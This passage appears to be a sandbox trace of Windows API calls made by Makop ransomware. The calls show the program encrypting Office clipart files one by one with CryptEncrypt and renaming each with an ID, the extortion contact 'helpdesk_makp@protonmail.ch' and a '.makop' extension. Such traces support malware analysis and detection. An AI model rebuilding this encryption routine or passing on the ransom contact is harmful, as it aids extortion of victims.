hTemplateFile=0x0) returned 0xf0 [0130.651] GetProcessHeap () returned 0x48a0000 [0130.651] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0130.652] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0130.652] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0130.652] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0130.854] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0130.854] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0130.854] GetProcessHeap () returned 0x48a0000 [0130.854] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0130.854] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0130.854] CryptDestroyKey (hKey=0x48c7128) returned 1 [0130.854] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0130.855] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0130.855] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0130.855] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0130.855] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0130.855] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0130.855] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0130.855] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0130.855] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.856] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa50e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa50e, lpOverlapped=0x0) returned 1 [0130.857] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa510, dwBufLen=0xa510 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa510) returned 1 [0130.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.858] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa510, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa510, lpOverlapped=0x0) returned 1 [0130.858] CryptDestroyKey (hKey=0x48c7128) returned 1 [0130.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa5e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.859] SetEndOfFile (hFile=0xf0) returned 1 [0130.868] GetProcessHeap () returned 0x48a0000 [0130.868] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0130.868] GetProcessHeap () returned 0x48a0000 [0130.868] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0130.868] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0130.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0130.870] CloseHandle (hObject=0xf0) returned 1 [0130.870] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60b62300, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60b62300, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0x6e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0211981.WMF", cAlternateFileName="")) returned 1 [0130.870] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF") returned 63 [0130.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0130.871] GetProcessHeap () returned 0x48a0000 [0130.871] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0130.871] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0130.872] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0130.872] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0130.876] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0130.876] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0130.876] GetProcessHeap () returned 0x48a0000 [0130.876] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0130.876] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0130.876] CryptDestroyKey (hKey=0x48c7128) returned 1 [0130.876] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0130.876] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0130.876] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0130.877] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0130.877] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0130.877] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0130.877] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0130.877] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0130.877] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.877] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6e74, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6e74, lpOverlapped=0x0) returned 1 [0130.879] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6e80, dwBufLen=0x6e80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6e80) returned 1 [0130.879] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.880] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6e80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6e80, lpOverlapped=0x0) returned 1 [0130.880] CryptDestroyKey (hKey=0x48c7128) returned 1 [0130.880] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.880] SetEndOfFile (hFile=0xf0) returned 1 [0130.887] GetProcessHeap () returned 0x48a0000 [0130.888] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0130.888] GetProcessHeap () returned 0x48a0000 [0130.888] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0130.888] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0130.888] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0130.889] CloseHandle (hObject=0xf0) returned 1 [0130.890] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x180e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212299.WMF", cAlternateFileName="")) returned 1 [0130.890] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF") returned 63 [0130.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0130.991] GetProcessHeap () returned 0x48a0000 [0130.991] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0130.991] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0130.991] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0130.992] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0131.004] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.004] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.004] GetProcessHeap () returned 0x48a0000 [0131.004] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.005] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.005] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.005] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.005] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.005] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.005] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.005] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.006] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.006] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.006] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.006] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.007] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x180e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x180e, lpOverlapped=0x0) returned 1 [0131.008] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1810, dwBufLen=0x1810 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1810) returned 1 [0131.008] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.008] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1810, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1810, lpOverlapped=0x0) returned 1 [0131.009] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.009] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x18e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.009] SetEndOfFile (hFile=0xf0) returned 1 [0131.016] GetProcessHeap () returned 0x48a0000 [0131.016] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.016] GetProcessHeap () returned 0x48a0000 [0131.016] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.016] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.016] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.017] CloseHandle (hObject=0xf0) returned 1 [0131.018] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x25cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212601.WMF", cAlternateFileName="")) returned 1 [0131.018] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF") returned 63 [0131.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.019] GetProcessHeap () returned 0x48a0000 [0131.019] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.019] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.019] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.019] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.023] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.023] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.023] GetProcessHeap () returned 0x48a0000 [0131.023] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.023] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.023] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.023] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.023] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.024] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.024] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.024] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.024] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.024] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.024] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.024] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.024] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x25cc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x25cc, lpOverlapped=0x0) returned 1 [0131.026] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x25d0, dwBufLen=0x25d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x25d0) returned 1 [0131.026] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.026] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x25d0, lpOverlapped=0x0) returned 1 [0131.026] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.026] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x26a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.027] SetEndOfFile (hFile=0xf0) returned 1 [0131.033] GetProcessHeap () returned 0x48a0000 [0131.033] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.033] GetProcessHeap () returned 0x48a0000 [0131.034] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.034] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.034] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.035] CloseHandle (hObject=0xf0) returned 1 [0131.035] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, 